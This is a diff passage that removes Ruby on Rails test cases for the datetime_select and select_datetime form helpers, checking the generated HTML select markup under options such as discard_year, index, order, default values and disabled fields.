-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
-  end
-
-  def test_datetime_select_with_options_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = 456
-
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
-  end
-
-  def test_datetime_select_within_fields_for_with_options_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = 456
-
-    output_buffer = fields_for :post, @post, :index => id do |f|
-      concat f.datetime_select(:updated_at)
-    end
-
-    expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_datetime_select_with_auto_index
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-    id = @post.id
-
-    expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post[]", "updated_at")
-  end
-
-  def test_datetime_select_with_seconds
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
-  end
-
-  def test_datetime_select_discard_year
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
-  end
-
-  def test_datetime_select_discard_month
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
-  end
-
-  def test_datetime_select_discard_year_and_month
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
-  end
-
-  def test_datetime_select_discard_year_and_month_with_disabled_html_option
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
-
-    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
-  end
-
-  def test_datetime_select_discard_hour
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
-  end
-
-  def test_datetime_select_discard_minute
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
-  end
-
-  def test_datetime_select_disabled_and_discard_minute
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
-  end
-
-  def test_datetime_select_invalid_order
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
-  end
-
-  def test_datetime_select_discard_with_order
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
-  end
-
-  def test_datetime_select_with_default_value_as_time
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
-  end
-
-  def test_include_blank_overrides_default_option
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %(<option value=""></option>\n)
-    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %(<option value=""></option>\n)
-    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %(<option value=""></option>\n)
-    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
-  end
-
-  def test_datetime_select_with_default_value_as_hash
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
-    expected << "</select>\n"
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
-  end
-
-  def test_datetime_select_with_html_options
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
-  end
-
-  def test_date_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    date_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_datetime_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    datetime_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
